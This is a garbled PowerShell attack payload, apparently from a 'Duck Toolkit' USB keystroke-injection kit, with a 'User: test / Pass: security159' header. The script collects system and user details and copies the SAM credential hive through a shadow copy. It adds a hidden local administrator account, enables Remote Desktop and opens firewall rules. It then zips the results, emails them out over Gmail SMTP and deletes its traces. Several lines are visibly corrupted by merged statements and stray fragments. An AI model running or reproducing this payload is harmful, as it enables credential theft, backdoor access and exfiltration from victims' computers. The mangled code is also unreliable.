User: test
Pass: security159ht:300px;border: 4px solid black;padding:10px;overflow:scroll;margin:10px;} </style>@
$Report = ConvertTo-Html -Title 'Recon Report' -Head $style > $fileSaveDir'/ComputerInfo.html'
$Report  Report</h1><hr size=2><br><h3> Generated on: $Date </h3><br>@
$SysBootTime = Get-WmiObject Win32_OperatingSystem 
$BootTime = $SysBootTime.ConvertToDateTime($SysBootTime.LastBootUpTime)| ConvertTo-Html datetime 
$SysSerialNo = (Get-WmiObject -Class Win32_OperatingSystem -ComputerName $env:COMPUTERNAME) 
$SerialNo = $SysSerialNo.SerialNumber 
$SysInfo = Get-WmiObject -class Win32_ComputerSystem -namespace root/CIMV2 | Select Manufacturer,Model 
$SysManufacturer = $SysInfo.Manufacturer 
$SysModel = $SysInfo.Model$OS = (Get-WmiObject Win32_OperatingSystem -computername $env:COMPUTERNAME ).caption
$disk = Get-WmiObject Win32_LogicalDisk -Filter @DeviceID='C:'@
$HD = [math]::truncate($disk.Size / 1GB)
$FreeSpace = [math]::truncate($disk.FreeSpace / 1GB)
$SysRam = Get-WmiObject -Class Win32_OperatingSystem -computername $env:COMPUTERNAME | Select  TotalVisibleMemorySize
$Ram = [Math]::Round($SysRam.TotalVisibleMemorySize/1024KB)
$SysCpu = Get-WmiObject Win32_Processor | Select Name
$Cpu = $SysCpu.Name$HardSerial = Get-WMIObject Win32_BIOS -Computer $env:COMPUTERNAME | select SerialNumber$HardSerialNo = $HardSerial.SerialNumber$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select Name$graphicsCard = gwmi win32_VideoController |select Name$graphics = $graphicsCard.Name$SysCdDrive = Get-WmiObject Win32_CDROMDrive |select -first 1024KB$DriveLetter = $CDDrive.DriveLetter$DriveName = $CDDrive.Caption
$Disk = $DriveLetter + '' + $DriveName$Firewall = New-Object -com HNetCfg.FwMgr 
$FireProfile = $Firewall.LocalPolicy.CurrentProfile 
$FireProfile = $FireProfile.FirewallEnabled
$Report = $Report  + @<div id=left><h3>Computer Information</h3><br><table><tr><td>Operating System</td><td>$OS</td></tr><tr><td>OS Serial Number:</td><td>$SerialNo</td></tr><tr><td>Current User:</td><td>$env:USERNAME </td></tr><tr><td>System Uptime:</td><td>$BootTime</td></tr><tr><td>System Manufacturer:</td><td>$SysManufacturer</td></tr><tr><td>System Model:</td><td>$SysModel</td></tr><tr><td>Serial Number:</td><td>$HardSerialNo</td></tr><tr><td>Firewall is Active:</td><td>$FireProfile</td></tr></table></div><div id=right><h3>Hardware Information</h3><table><tr><td>Hardrive Size:</td><td>$HD GB</td></tr><tr><td>Hardrive Free Space:</td><td>$FreeSpace GB</td></tr><tr><td>System RAM:</td><td>$Ram GB</td></tr><tr><td>Processor:</td><td>$Cpu</td></tr><td>CD Drive:</td><td>$Disk</td></tr><tr><td>Graphics Card:</td><td>$graphics</td></tr></table></div>@
$UserInfo = Get-WmiObject -class Win32_UserAccount -namespace root/CIMV2 | Where-Object {$_.Name -eq $env:UserName}| Select AccountType,SID,PasswordRequired 
$UserType = $UserInfo.AccountType$UserSid = $UserInfo.SID
$UserPass = $UserInfo.PasswordRequired$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')
$Report =  $Report +@<div id=left><h3>User Information</h3><br><table><tr><td>Current User Name:</td><td>$env:USERNAME</td></tr><tr><td>Account Type:</td><td> $UserType</td></tr><tr><td>User SID:</td><td>$UserSid</td></tr><tr><td>Account Domain:</td><td>$env:USERDOMAIN</td></tr><tr><td>Password Required:</td><td>$UserPass</td></tr><tr><td>Current User is Admin:</td><td>$IsAdmin</td></tr></table>@ 
$Report = $Report + '</div>'
$createShadow = (gwmi -List Win32_ShadowCopy).Create('C:\', 'ClientAccessible')
$shadow = gwmi Win32_ShadowCopy | ? { $_.ID -eq $createShadow.ShadowID }
$addSlash  = $shadow.DeviceObject + ''
cmd /c mklink C:\shadowcopy $addSlashCopy-Item 'C:\shadowcopy\Windows\System32\config\SAM' $fileSaveDirRemove-Item -recurse -force 'C:\shadowcopy'
Net User test security159 /ADD
Net LocalGroup Administrators test /ADD 
reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v test /t REG_DWORD /d 0 /fileSaveDirSet-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0
Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1024KBnetsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes
netsh advfirewall firewall set rule group='remote desktop' new enable=Yes$Report >> $fileSaveDir'/ComputerInfo.html'
function copy-ToZip($fileSaveDir){
$srcdir = $fileSaveDir$zipFile = 'C:\Windows\Report.zip'
if(-not (test-path($zipFile))) {
set-content $zipFile (@PK@ + [char]5 + [char]6 + (@$([char]0)@ * 18))
(dir $zipFile).IsReadOnly = $false}}$shellApplication = new-object -com shell.application}}$zipPackage = $shellApplication.NameSpace($zipFile)
$files = Get-ChildItem -Path $srcdirforeach($file in $files) {
$zipPackage.CopyHere($file.FullName)
while($zipPackage.Items().Item($file.name) -eq $null){
Start-sleep -seconds 1 }}}
copy-ToZip($fileSaveDir)
$SMTPServer = 'smtp.gmail.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('null', 'null');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'null'
$ReportEmail.To.Add('null')
$ReportEmail.Subject = 'Duck Toolkit Recon Report'
$ReportEmail.Body = 'Please find attached your reconnaissance report.' 
$ReportEmail.Attachments.Add('C:\Windows\Report.zip')
$SMTPInfo.Send($ReportEmail)
remove-item $fileSaveDir -recurseremove-item 'C:\Windows\Report.zip'
Remove-Item $MyINvocation.InvocationName}}}}}}}}